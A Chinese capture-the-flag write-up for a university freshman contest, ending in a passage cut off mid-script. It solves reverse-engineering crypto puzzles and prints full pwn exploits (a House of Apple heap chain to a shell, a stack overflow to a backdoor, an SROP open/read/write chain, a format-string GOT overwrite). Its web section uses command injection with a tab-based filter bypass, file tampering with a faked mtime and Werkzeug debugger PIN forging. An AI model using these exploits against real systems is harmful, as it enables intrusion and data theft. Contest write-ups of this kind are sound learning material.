这是中原工学院新生赛的比赛,作为特邀小白来体验题目了

主要打的是二进制方向

pwn的house of apple和web的还没消失的flag感觉还是有点困难,用了ai

Reverse

乱花渐欲迷人眼

进去之后先通过start函数定位到main函数:

这里就可以看到给出了密钥了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
int __cdecl sub_401080()
{
size_t v1; // eax
char v2; // [esp+0h] [ebp-1ACh]
char v3; // [esp+0h] [ebp-1ACh]
char v4; // [esp+0h] [ebp-1ACh]
char v5; // [esp+0h] [ebp-1ACh]
size_t n41; // [esp+0h] [ebp-1ACh]
char v7[256]; // [esp+4h] [ebp-1A8h] BYREF
char Str[100]; // [esp+104h] [ebp-A8h] BYREF
char beautiful_flowers[20]; // [esp+168h] [ebp-44h] BYREF
_BYTE Buf2[3]; // [esp+17Ch] [ebp-30h] BYREF
char a[41]; // [esp+17Fh] [ebp-2Dh] BYREF

sub_401270();
sub_401320(
Format, // "Welcome to the world of flowers. \n"
v2);
sub_401320(
aHereAreAFewFlo, // "Here are a few flowers about jnz. \n"
v3);
sub_401320(
aYouHaveToPickT, // "You have to pick them all to know the logic you want. \n"
v4);
sub_401320(
aPleaseEnterYou, // "Please enter your input \n"
v5);
sub_401560(
a99s, // "%99s"
(char)Str);
n41 = strlen(Str);
if ( n41 == 41 )
{
qmemcpy(Buf2, "=w", 2);
Buf2[2] = -66;
strcpy(a, "a");
a[2] = -48;
a[3] = 80;
a[4] = -16;
a[5] = -7;
a[6] = 127;
a[7] = -65;
a[8] = -85;
a[9] = 6;
a[10] = -64;
a[11] = 53;
a[12] = -26;
a[13] = -22;
a[14] = -97;
a[15] = 31;
a[16] = -72;
a[17] = 64;
a[18] = 61;
a[19] = 93;
a[20] = 9;
a[21] = 22;
a[22] = -76;
a[23] = 16;
a[24] = -6;
a[25] = -37;
a[26] = 7;
a[27] = 5;
a[28] = 92;
a[29] = -8;
a[30] = 0x80;
a[31] = -121;
a[32] = 28;
a[33] = 73;
a[34] = -112;
a[35] = 110;
a[36] = 44;
a[37] = -94;
strcpy(beautiful_flowers, "beautiful flowers");
v1 = strlen(beautiful_flowers);
((void (__cdecl *)(char *, char *, size_t))loc_401490)(v7, beautiful_flowers, v1);
((void (__cdecl *)(char *, char *, int))loc_401360)(v7, Str, 41);
if ( !memcmp(Str, Buf2, 0x29u) )
sub_401320(
aCongratulation, // "Congratulations! You've picked the right flowers.\n"
41);
else
sub_401320(
aSorryTheseFlow, // "Sorry, these flowers are withered.\n"
41);
return 0;
}
else
{
sub_401320(
aWrongLengthThe, // "Wrong length! The flowers are not enough.\n"
n41);
return 0;
}
}

这里面有的函数是有花指令的

像这种假跳转,nop掉即可

image-20260606151641007

像这种的假call nop即可

image-20260606151740011

还原出来的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __usercall sub_401360@<eax>(int a1@<edx>, int a2, int a3, int i_1)
{
int result; // eax
int v5; // [esp+Ch] [ebp-14h]
int v6; // [esp+10h] [ebp-10h]
int v7; // [esp+14h] [ebp-Ch]
int i; // [esp+18h] [ebp-8h]
char v9; // [esp+1Eh] [ebp-2h]
char v10; // [esp+1Fh] [ebp-1h]

result = 0;
v7 = 0;
v6 = 0;
for ( i = 0; i < i_1; ++i )
{
v7 = (a1 + 1) % 256;
v6 = (v6 + *(unsigned __int8 *)(v7 + a2)) % 256;
v10 = *(_BYTE *)(v7 + a2);
*(_BYTE *)(v7 + a2) = *(_BYTE *)(v6 + a2);
*(_BYTE *)(v6 + a2) = v10;
v5 = (*(unsigned __int8 *)(v6 + a2) + *(unsigned __int8 *)(v7 + a2)) % 256;
v9 = *(_BYTE *)(v5 + a2);
*(_BYTE *)(i + a3) ^= v9;
*(_BYTE *)(i + a3) ^= 0x22u;
a1 = i + *(unsigned __int8 *)(i + a3);
*(_BYTE *)(i + a3) = a1;
result = i + 1;
}
return result;
}

猜测是RC4但是魔改了

写出脚本还原即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
def rc4_ksa(key):
"""标准 RC4 密钥调度算法 (KSA)"""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
return S


def decrypt(ciphertext, key):
"""魔改 RC4 解密"""
if isinstance(key, str):
key = key.encode('utf-8')
if isinstance(ciphertext, str):
ciphertext = ciphertext.encode('latin-1')

S = rc4_ksa(key)
i = 0
j = 0
plaintext = bytearray(len(ciphertext))

for idx in range(len(ciphertext)):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) & 0xFF
k = S[t]

# 逆向魔改:先减去索引 j,再异或 0x22,再异或密钥流 k
val = (ciphertext[idx] - idx) & 0xFF
val ^= 0x22
val ^= k
plaintext[idx] = val

return bytes(plaintext)


if __name__ == "__main__":
KEY = "beautiful flowers"
CIPHER = bytes([
# Buf2: "=w" + 0xBE
ord('='), ord('w'), 0xBE,
# a[0] = 'a', a[1] = '\0'
ord('a'), 0x00,
# a[2..37]
0xD0, 80, 0xF0, 0xF9, 127, 0xBF, 0xAB, 6, 0xC0, 53,
0xE6, 0xEA, 0x9F, 31, 0xB8, 64, 61, 93, 9, 22,
0xB4, 16, 0xFA, 0xDB, 7, 5, 92, 0xF8, 0x80, 0x87,
28, 73, 0x90, 110, 44, 0xA2
])

flag = decrypt(CIPHER, KEY)
print(f"[+] Flag: {flag.decode('utf-8')}")

你知道Android吗

进去是一个apk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.program;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

/* JADX INFO: loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
public native String encrypt(String str);

static {
System.loadLibrary("program");
}

@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(C0541R.layout.activity_main);
final EditText etInput = (EditText) findViewById(C0541R.id.et_input);
Button btnCheck = (Button) findViewById(C0541R.id.btn_check);
btnCheck.setOnClickListener(new View.OnClickListener() { // from class: com.example.program.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
String userInput = etInput.getText().toString();
if (userInput.isEmpty()) {
Toast.makeText(MainActivity.this, "喵喵,请输入内容!", 0).show();
return;
}
String Str = MainActivity.this.encrypt(userInput);
if ("gursv{79004816907345145}".equals(Str)) {
Toast.makeText(MainActivity.this, "喵喵,回答正确!", 1).show();
} else {
Toast.makeText(MainActivity.this, "喵喵,不对捏!", 0).show();
}
}
});
}
}

给了密文,接下来需要去so文件进行分析:
明显这是凯撒移位3的加密。但是针对字母、数字、特殊符号,加密方式也不一样。
image-20260606151040871

因此写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def decrypt_char(c):
n = ord(c)
if 0x41 <= n <= 0x5A: # A-Z
return chr((n - 65 - 3) % 26 + 65)
elif 0x61 <= n <= 0x7A: # a-z
return chr((n - 97 - 3) % 26 + 97)
elif 0x30 <= n <= 0x39: # 0-9
return chr((n - 48 + 7) % 10 + 48)
else:
return c
target = "gursv{79004816907345145}"
result = "".join(decrypt_char(c) for c in target)
print(f"\n解密结果: {result}")

签到题

ida打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall main()
{
unsigned __int8 target[29]; // [rsp+20h] [rbp-90h] BYREF
char str[100]; // [rsp+40h] [rbp-70h] BYREF
int n76; // [rsp+A4h] [rbp-Ch]
int len; // [rsp+A8h] [rbp-8h]
int i; // [rsp+ACh] [rbp-4h]

_main();
SetConsoleOutputCP(0xFDE9u);
SetConsoleCP(0xFDE9u);
print_logo();
puts("Welcome to the reverse world! ");
puts("Do you know xor? ");
puts("Please enter your input ");
scanf("%99s", str);
len = strlen(str);
if ( len == 29 )
{
*(_QWORD *)target = 0x7C15373F3C233E08LL;
*(_QWORD *)&target[8] = 0x2113293A0C241339LL;
*(_QWORD *)&target[13] = 0x3E29383F0C211329LL;
*(_QWORD *)&target[21] = 0x316D3E7C34132829LL;
n76 = 76;
for ( i = 0; i <= 28; ++i )
str[i] ^= n76;
if ( !memcmp(str, target, 0x1Du) )
puts("Congratulations! you win!");
else
puts("Sorry! you fail!");
return 0;
}
else
{
puts("Wrong length! ");
return 0;
}
}

可以看到逻辑还是比较清晰的,给出了密文,和异或密钥76

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import struct

def decrypt():
target = bytearray(29)
struct.pack_into('<Q', target, 0, 0x7C15373F3C233E08)
struct.pack_into('<Q', target, 8, 0x2113293A0C241339)
struct.pack_into('<Q', target, 13, 0x3E29383F0C211329)
struct.pack_into('<Q', target, 21, 0x316D3E7C34132829)
key = 76
result = bytearray(29)
for i in range(29):
result[i] = target[i] ^ key
print(f"加密字节: {target.hex()}")
print(f"解密结果: {result.decode('latin-1')}")
if __name__ == "__main__":
decrypt()

Base64

看到main函数基本确定是Base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// The function seems has been flattened
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
__int64 v4; // rax
const char *s1; // rdi
_DWORD s_1[4]; // [rsp+0h] [rbp-70h] BYREF
char *s_2; // [rsp+10h] [rbp-60h]
int v9; // [rsp+18h] [rbp-58h]
int v10; // [rsp+1Ch] [rbp-54h]
int v11; // [rsp+4Ch] [rbp-24h]
char *s; // [rsp+50h] [rbp-20h]
void *dest; // [rsp+58h] [rbp-18h]
void **p_ptr; // [rsp+60h] [rbp-10h]

s = (char *)s_1;
dest = s_1;
p_ptr = (void **)&s_1[-4];
v11 = 0;
v10 = printf("Hello! Please input your flag:\n");
v9 = __isoc99_scanf("%99s", s);
memcpy(dest, "PmYNImcG9HXsIbZsIbpf8mcWdeY0IinicEA0Ude=", 0x29u);
s_2 = s;
v3 = strlen(s);
v4 = b64_encode(s_2, v3);
*p_ptr = (void *)v4;
s1 = (const char *)*p_ptr;
s_1[3] = -1111669090;
s_1[2] = -1548369758;
if ( !strcmp(s1, (const char *)dest) )
s_1[1] = printf("congratulation! You are right!\n");
else
s_1[0] = printf("Sorry! You are wrong!\n");
free(*p_ptr);
return 0;
}

下面是编码表:
image-20260606150432749

cyberchef一把梭出来了:
image-20260606150516328

点击即送flag

打开是一个程序,需要点击一百万次才会给flag

image-20260606152402018

打开CE搜索到目标量,然后直接改为1000000

点击确定 即可拿到flag:
image-20260606152434255

请你喝茶

这是py打包的exe,首先进行解包

image-20260606152517519

解包之后,反编译pyc得到主要逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'ez_re.py'
# Bytecode version: 3.10.b1 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import struct
def tea_encrypt_block(v, k):
v0, v1 = v
delta = 4277588
sum_val = 0
for _ in range(32):
sum_val = sum_val + delta & 4294967295
v0 = v0 + ((v1 << 4) + k[0] ^ v1 + sum_val ^ (v1 >> 5) + k[1]) & 4294967295
v1 = v1 + ((v0 << 4) + k[2] ^ v0 + sum_val ^ (v0 >> 5) + k[3]) & 4294967295
return (v0, v1)
def encrypt(data: bytes):
key = [3735928559, 3131961357, 3735929054, 3735883980]
data = data.ljust(32, b'\x00')
v = list(struct.unpack('<8I', data))
out = []
for i in range(0, 8, 2):
a, b = tea_encrypt_block((v[i], v[i + 1]), key)
out.append(a)
out.append(b)
return out
def check(user_input: str):
target = [3813304756, 1143119331, 1192014385, 3688123794, 1760173260, 1071034288, 3991929844, 2229074504]
enc = encrypt(user_input.encode())
return enc == target
def main():
s = input('Please input your flag: ')
if len(s) > 32:
print('Too long!')
else:
if check(s):
print('Correct!')
else:
print('Wrong!')
if __name__ == '__main__':
main()

可以看到魔数什么都给了,简单写出解密脚本就ok了

写出脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import struct

def tea_decrypt_block(v, k):
v0, v1 = v
delta = 4277588
sum_val = (delta * 32) & 0xFFFFFFFF
for _ in range(32):
v1 = (v1 - ((v0 << 4) + k[2] ^ v0 + sum_val ^ (v0 >> 5) + k[3])) & 0xFFFFFFFF
v0 = (v0 - ((v1 << 4) + k[0] ^ v1 + sum_val ^ (v1 >> 5) + k[1])) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
return (v0, v1)

def decrypt(ciphertext):
key = [3735928559, 3131961357, 3735929054, 3735883980]
out = []
for i in range(0, 8, 2):
a, b = tea_decrypt_block((ciphertext[i], ciphertext[i + 1]), key)
out.append(a)
out.append(b)
data = struct.pack('<8I', *out)
return data.rstrip(b'\x00')

target = [3813304756, 1143119331, 1192014385, 3688123794,
1760173260, 1071034288, 3991929844, 2229074504]

flag = decrypt(target)
print(flag.decode())

Pwn

Apple After Death

根据题目提示应该是采取House of Apple的思路

看main函数也是提供了一个菜单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
while ( 1 )
{
menu();
switch ( read_num() )
{
case 1uLL:
add_note();
break;
case 2uLL:
delete_note();
break;
case 3uLL:
show_note();
break;
case 4uLL:
edit_note();
break;
case 5uLL:
puts("Bye!");
return 0;
default:
puts("Invalid!");
break;
}
}
}

可以看到程序delete功能处存在UAF漏洞:
image-20260606161201171

show 可以读取已释放 chunk 的内容,edit 可以修改已释放 chunk 的内容

我们先申请一个大chunk,释放后其会存在unsort bins之中,此时show即可打印出相关地址,实现地址泄露

对大 chunk 做:

  1. delete
  2. edit 把前 0x10 字节清零
  3. 再次 delete

绕过double free检查

再次 show 这个 chunk,会看到 safe-linking 编码后的 next 指针进而得到精确 chunk 地址

House of Apple链路是:

  • 伪造一个 _IO_FILE
  • vtable 指向 _IO_wfile_jumps
  • 配好 fake _wide_data
  • 在退出时通过 _IO_flush_all 遍历 _IO_list_all
  • 进入宽字符写路径
  • 触发 _IO_wdoallocbuf
  • 最终调用我们伪造的函数指针

堆上伪造的 fake FILE 关键布局如下:

1
2
3
4
5
6
7
8
9
10
fake = flat({
0x00: b"$0\\x00\\x00",
0x20: p64(0),
0x28: p64(1),
0x68: p64(old_head),
0x88: p64(lock),
0xa0: p64(wide_data),
0xc0: p64(1),
0xd8: p64(libc.sym['_IO_wfile_jumps']),
}, filler=b'\\x00', length=0x100)

fake _wide_data

1
2
3
4
5
6
fake += flat({
0x18: p64(0),
0x20: p64(1),
0x30: p64(0),
0xe0: p64(wide_vtable),
}, filler=b'\\x00', length=0x100)

fake wide vtable:

1
2
3
fake += flat({
0x68: p64(libc.sym['system'])
}, filler=b'\\x00', length=0x80)

我们单独用一个 8 字节小 chunk 负责 tcache poisoning 只覆盖 _IO_list_all 这 8 个字节

最后:

  1. UAF 改写 tcache next:
1
edit(idx, p64(_IO_list_all ^ heap_key))
  1. 连续两次 malloc(8)
  2. 第二次返回的位置就是 _IO_list_all
  3. 写入 fake FILE 的地址

这样退出程序时:

1
_IO_list_all = fake_file

就能进入我们构造的链。程序打印 Bye! 后,glibc 会执行 flush。此时 fake FILE 被遍历并触发 system("$0")拿到shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *


HOST = "222.22.91.49"
PORT = 32057
UNSORTED_OFF = 0x21ACE0


context.binary = ELF("./notekeeper", checksec=False)
libc = ELF("./libc.so.6", checksec=False)


def start(argv=None, remote_mode=False):
if remote_mode:
return remote(HOST, PORT)
argv = argv or []
return process(
["./ld-linux-x86-64.so.2", "--library-path", ".", "./notekeeper"] + argv
)


def cmd(io, choice):
io.sendlineafter(b">> ", str(choice).encode())


def add(io, size, data):
cmd(io, 1)
io.sendlineafter(b"Size: ", str(size).encode())
io.sendafter(b"Content: ", data)


def delete(io, idx):
cmd(io, 2)
io.sendlineafter(b"Index: ", str(idx).encode())


def show(io, idx, size):
cmd(io, 3)
io.sendlineafter(b"Index: ", str(idx).encode())
io.recvuntil(b"Content: ")
return io.recvn(size)


def edit(io, idx, data):
cmd(io, 4)
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendafter(b"Content: ", data)


def demangle(value):
result = value
for _ in range(6):
result = value ^ (result >> 12)
return result


def leak_libc(io):
add(io, 0x500, b"A" * 8)
add(io, 0x20, b"B" * 8)
delete(io, 0)
leak = u64(show(io, 0, 0x500)[:8])
libc.address = leak - UNSORTED_OFF
log.info("libc base = %#x", libc.address)


def leak_heap_chunk(io, idx, size):
delete(io, idx)
edit(io, idx, b"\x00" * 0x10)
delete(io, idx)
leak = u64(show(io, idx, size)[:8])
chunk = demangle(leak)
log.info("chunk[%d] = %#x", idx, chunk)
return chunk


def build_house_of_apple(fake_file):
old_head = libc.sym["_IO_2_1_stderr_"]
wide_data = fake_file + 0x100
wide_vtable = fake_file + 0x200
lock = fake_file + 0x2E0

payload = flat(
{
0x00: b"$0\x00\x00",
0x20: p64(0),
0x28: p64(1),
0x68: p64(old_head),
0x88: p64(lock),
0xA0: p64(wide_data),
0xC0: p64(1),
0xD8: p64(libc.sym["_IO_wfile_jumps"]),
},
filler=b"\x00",
length=0x100,
)
payload += flat(
{
0x18: p64(0),
0x20: p64(1),
0x30: p64(0),
0xE0: p64(wide_vtable),
},
filler=b"\x00",
length=0x100,
)
payload += flat({0x68: p64(libc.sym["system"])}, filler=b"\x00", length=0x80)
return payload


def try_house_of_apple(io):
add(io, 0x300, b"C" * 8)
add(io, 0x20, b"D" * 8)
add(io, 8, b"E" * 8)
add(io, 0x20, b"F" * 8)

fake_file = leak_heap_chunk(io, 2, 0x300)
writer_chunk = leak_heap_chunk(io, 4, 8)
writer_key = writer_chunk >> 12

payload = build_house_of_apple(fake_file)
edit(io, 4, p64(libc.sym["_IO_list_all"] ^ writer_key) + b"\x00" * 8)
add(io, 0x300, payload)
add(io, 8, b"G" * 8)
add(io, 8, p64(fake_file))

cmd(io, 5)


def main():
remote_mode = args.REMOTE
io = start(remote_mode=remote_mode)
leak_libc(io)
try_house_of_apple(io)
io.sendline(b"cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || ls / && cat /app/flag 2>/dev/null")
io.interactive()


if __name__ == "__main__":
main()

你想走后门吗

这个题目没有给附件,但是题目提示说:做人不要总想着走后门,先把这100道题做完。 当然, 如果后门真的在4199164,并且从这里过去只需要72步。 那是你的事。

也就是说后门地址已经给了,而且溢出长度估计也就是72,省的我们一个个找调试了

image-20260606155939285

nc连接之后需要我们进行100次加法运算,接下来估计发送评价的机会就是进行栈溢出

这里需要用正则匹配算式,因此还是比较困难!!!

写出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import re
HOST = "222.22.91.49"
PORT = 31325
OFFSET = 72
BACKDOOR = 0x4012FC
def solve_questions(io) -> None:
for _ in range(100):
data = io.recvuntil(b"Answer: ")
match = re.search(rb"Question \[(\d+)/100\]:\s*(\d+) \+ (\d+) = \?\s*Answer: $", data)
if not match:
raise ValueError(f"unexpected prompt: {data!r}")

left = int(match.group(2))
right = int(match.group(3))
io.sendline(str(left + right).encode())


def main() -> None:
io = remote(HOST, PORT)
solve_questions(io)
io.recvuntil("请输入你的通关评价: ".encode("utf-8"))

payload = b"A" * OFFSET + p64(BACKDOOR)
io.sendline(payload)
if args.CMD:
io.sendline(args.CMD.encode())
print(io.recvrepeat(1).decode("utf-8", errors="replace"))
else:
io.interactive()


if __name__ == "__main__":
main()

Wake Up

这是一道沙箱,对 execve(59) 和 execveat(322) 做了 seccomp 规则处理

image-20260606160253843

题目main函数给出了栈溢出:

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
read(0, buf, 0x200u);
return 0;
}

思路也很简单:

先栈溢出,触发一次 sigreturn,执行 read(0, .bss, 0x400),把第二阶段链读进 .bss

第二段继续 sigreturn,执行 open(“/flag”, 0, 0)

再执行 read(3, buf, 0x100) 读 flag

最后执行 write(1, buf, 0x100) 把 flag 打出来

写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *


context.clear(arch="amd64", os="linux")
context.log_level = "error"

HOST, PORT = "222.22.91.49", 30260
RT_SIGRETURN = 0x401296
SYSCALL_RET = 0x40129D
BASE = 0x404500


def frame(rax, rdi, rsi, rdx, rsp):
f = SigreturnFrame()
f.rax = rax
f.rdi = rdi
f.rsi = rsi
f.rdx = rdx
f.rsp = rsp
f.rip = SYSCALL_RET
return bytes(f)


name = BASE + 0x300
buf = BASE + 0x340

stage1 = flat(
b"A" * 0x20,
p64(BASE),
p64(RT_SIGRETURN),
frame(constants.SYS_read, 0, BASE, 0x400, BASE),
)

stage2 = flat(
p64(RT_SIGRETURN),
frame(constants.SYS_open, name, 0, 0, BASE + 0x100),
p64(RT_SIGRETURN),
frame(constants.SYS_read, 3, buf, 0x100, BASE + 0x200),
p64(RT_SIGRETURN),
frame(constants.SYS_write, 1, buf, 0x100, BASE + 0x2F8),
).ljust(0x300, b"\x00") + b"/flag\x00"


io = remote(HOST, PORT)
io.send(stage1)
sleep(0.2)
io.send(stage2)
print(io.recvrepeat(1).split(b"\x00", 1)[0].decode())

别乱说话

看到main函数 明显存在格式化字符串漏洞

image-20260606154021173

在看到plt段有明显的system和puts
image-20260606154244978

所以思路就很清晰了,就是格式化字符串泄露got表地址然后覆盖puts got表地址为system。

image-20260606154321625

程序也存在/bin/sh字符串,因此可以方便地实现劫持got表

写出脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.binary = elf = ELF("/mnt/f/Desktop/fmt")
context.log_level = "info"
def start():
if args.REMOTE:
host = args.HOST
port = int(args.PORT)
return remote(host, port)
return process(elf.path)

def build_payload() -> bytes:
return fmtstr_payload(6, {elf.got["puts"]: elf.symbols["win"]}, write_size="short")
def main():
io = start()
payload = build_payload()
io.recvuntil(b"Tell me something:\n")
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()

nc-shell

连接之后直接给了shell
但是直接输入cat /flag会提示权限不足

因此输入ls /bin看有没有其他方式,发现藏了一个程序cat_real

输入即可拿到flag

image-20260606154646512

Web

(还没)消失的flag

首页泄露源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read()

@app.route("/shell", methods=['POST'])
def shell():
global tag
if tag != True:
global flag1
del flag1
tag = True
os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
action = request.form["act"]
if action.find(" ") != -1:
return "Nonono"
else:
os.system(action)

关键点有两个:

  1. /shell 存在命令执行,但只过滤了普通空格,没有过滤 tab、重定向、$()、分号等。
  2. flag1 是打开的文件对象,flag2 在启动时已经被读入 Python 全局变量。

因此思路是:

  1. 第一次利用 /shell 时,从 reloader 父进程的文件描述符里读 flag1
  2. 同时采集 Werkzeug Debugger PIN 计算所需的环境信息。
  3. app.py 改成一个合法的最小 Flask 回显器,但伪造回原来的 mtime,尽量不触发 reloader 重启。
  4. 根据采集到的信息本地计算 PIN。
  5. 进入 /console,解锁后直接读全局变量 flag2

首发 payload 的目标:

  • 读取父进程 fd 3 中已删除的 flag1
  • 采集 usernameboot_idcgroup、网卡 MAC
  • 把这些内容写进 /tmp/out
  • app.py 改写成合法源码,把 /tmp/out 嵌进 DATA 返回
  • 最后把 app.py 的修改时间改回原值,避免 reloader 立刻重启

核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
t=$(stat -c %Y app.py)
p0=$PPID
p1=$(grep ^PPid: /proc/$p0/status|tr -cd 0-9)
python3 -c "o=__import__('os');fd=o.open('/proc/'+str($p1)+'/fd/3',o.O_RDONLY);o.lseek(fd,0,0);open('/tmp/out','wb').write(o.read(fd,500))"
echo>>/tmp/out
id -un>>/tmp/out
echo>>/tmp/out
cat /proc/sys/kernel/random/boot_id>>/tmp/out
echo>>/tmp/out
head -n1 /proc/self/cgroup>>/tmp/out
echo>>/tmp/out
cat /sys/class/net/*/address>>/tmp/out
printf '%b' 'from\tflask\timport\tFlask\nDATA=\"\"\"\n'>app.py
cat /tmp/out>>app.py
printf '%b' '\n\"\"\"\napp=Flask(__name__)\ndef\tx():\n\treturn\tDATA\napp.add_url_rule(\"/\",\"x\",x)\n'>>app.py
touch -d @$t app.py

远端是 Werkzeug 2.2.3,PIN 计算使用的是:

  • username
  • modname = "flask.app"
  • app name = "Flask"
  • mod file = "/usr/local/lib/python3.10/site-packages/flask/app.py"
  • uuid.getnode() 对应的十进制 MAC
  • get_machine_id(),本题里实际退化到 boot_id + cgroup

本地计算脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib
from itertools import chain

username = 'ctf'
modname = 'flask.app'
app_name = 'Flask'
mod_file = '/usr/local/lib/python3.10/site-packages/flask/app.py'
mac = str(int('0e4bf358f52f', 16))
machine = '72284efa-a206-462a-9f9b-966869cce2d3'

h = hashlib.sha1()
for bit in chain([username, modname, app_name, mod_file], [mac, machine]):
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = f'{int(h.hexdigest(), 16):09d}'[:9]
pin = '-'.join([num[:3], num[3:6], num[6:9]])
print(pin)

算得:

  • PIN:138-199-619
  • Cookie 名:__wzdffb3ec770ca322f8d95b

先访问 /console 拿到 SECRET

ltYHytQLpWQSwxc8MkYQ

然后做 PIN 认证:

1
/console?__debugger__=yes&cmd=pinauth&pin=138-199-619&s=ltYHytQLpWQSwxc8MkYQ

认证成功后,直接执行:

1
__import__('app').flag2

返回:

7bc-9baf-5dd567c6cc5a}}

拼接即可

flag{b09d4a7a-1c50-47bc-9baf-5dd567c6cc5a}}

image-20260606171407839

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266

import argparse
import ast
import hashlib
import html
import http.cookiejar
import re
import sys
import urllib.parse
import urllib.request
from itertools import chain


APP_MARKER_RE = re.compile(r'DATA="""\n(?P<data>.*?)\n"""', re.S)
CONSOLE_SECRET_RE = re.compile(r'SECRET = "([^"]+)"')
CONSOLE_STRING_RE = re.compile(r'<span class="string">(.+?)</span>', re.S)


def build_stage1_payload() -> str:
return "\n".join(
[
"t=$(stat\t-c\t%Y\tapp.py)",
"p0=$PPID",
"p1=$(grep\t^PPid:\t/proc/$p0/status|tr\t-cd\t0-9)",
":>/tmp/out",
"python3\t-c\t\"o=__import__('os');fd=o.open('/proc/'+str($p1)+'/fd/3',o.O_RDONLY);o.lseek(fd,0,0);open('/tmp/out','wb').write(o.read(fd,4096))\"",
"echo>>/tmp/out",
"printf\t'%s'\t'USER:'>>/tmp/out",
"id\t-un>>/tmp/out",
